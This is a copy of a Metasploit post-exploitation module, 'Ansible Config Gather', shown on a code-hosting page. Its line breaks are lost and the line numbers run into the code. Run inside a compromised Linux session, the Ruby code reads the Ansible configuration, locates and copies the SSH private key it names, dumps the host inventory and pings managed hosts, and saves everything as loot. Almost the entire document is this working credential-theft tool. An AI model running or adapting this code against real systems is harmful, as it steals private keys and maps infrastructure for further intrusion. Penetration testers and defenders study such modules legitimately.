Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/ansible.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report8include Msf::Exploit::Local::Ansible910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ansible Config Gather',15'Description' => %q{16This module will grab ansible information including hosts, ping status, and the configuration file.17},18'License' => MSF_LICENSE,19'Author' => [20'h00die', # Metasploit Module21],22'Platform' => ['linux', 'unix'],23'SessionTypes' => ['shell', 'meterpreter'],24'References' => [25],26'Notes' => {27'Stability' => [CRASH_SAFE],28'Reliability' => [],29'SideEffects' => []30}31)32)3334register_options(35[36OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),37OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),38], self.class39)4041register_advanced_options(42[43OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),44], self.class45)46end4748def ansible_inventory49return @ansible_inv if @ansible_inv5051[datastore['ANSIBLEINVENTORY'], '/usr/local/bin/ansible-inventory'].each do |exec|52next if exec.empty?53next unless file?(exec)54next unless executable?(exec)5556@ansible_inv = exec57return @ansible_inv58end59@ansible_inv60end6162def ansible_cfg63return @ansible_cfg if @ansible_cfg6465[datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |cfg|66next if cfg.empty?67next if cfg.empty?68next unless file?(cfg)6970@ansible_cfg = cfg71return @ansible_cfg72end73@ansible_cfg74end7576def ping_hosts_print77results = ping_hosts78if results.nil?79print_error('Unable to parse ping hosts results')80return81end8283columns = ['Host', 'Status', 'Ping', 'Changed']84table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)8586results.each do |match|87table << [match['host'], match['status'], match['ping'], match['changed']]88end89print_good(table.to_s) unless table.rows.empty?90end9192def conf93unless file?(ansible_cfg)94print_bad('Unable to find config file')95return96end9798ansible_config = read_file(ansible_cfg)99stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')100print_good("Stored config to: #{stored_config}")101ansible_config.lines.each do |line|102next unless line.start_with?('private_key_file')103104file = line.split(' = ')[1].strip105next unless file?(file)106107print_good("Private key file location: #{file}")108109key = read_file(file)110loot = store_loot('ansible.private.key', 'text/plain', session, key, 'private.key', 'Ansible private key')111print_good("Stored private key file to: #{loot}")112end113end114115def hosts_list116hosts = cmd_exec("#{ansible_inventory} --list")117hosts = JSON.parse(hosts)118inventory = store_loot('ansible.inventory', 'application/json', session, hosts, 'ansible_inventory.json', 'Ansible inventory')119print_good("Stored inventory to: #{inventory}")120columns = ['Host', 'Connection']121table = Rex::Text::Table.new('Header' => 'Ansible Hosts', 'Indent' => 1, 'Columns' => columns)122hosts = hosts.dig('_meta', 'hostvars')123hosts.each do |host|124table << [host[0], host[1]['ansible_connection']]125end126print_good(table.to_s) unless table.rows.empty?127end128129def run130fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?131hosts_list132ping_hosts_print133conf134end135end136137138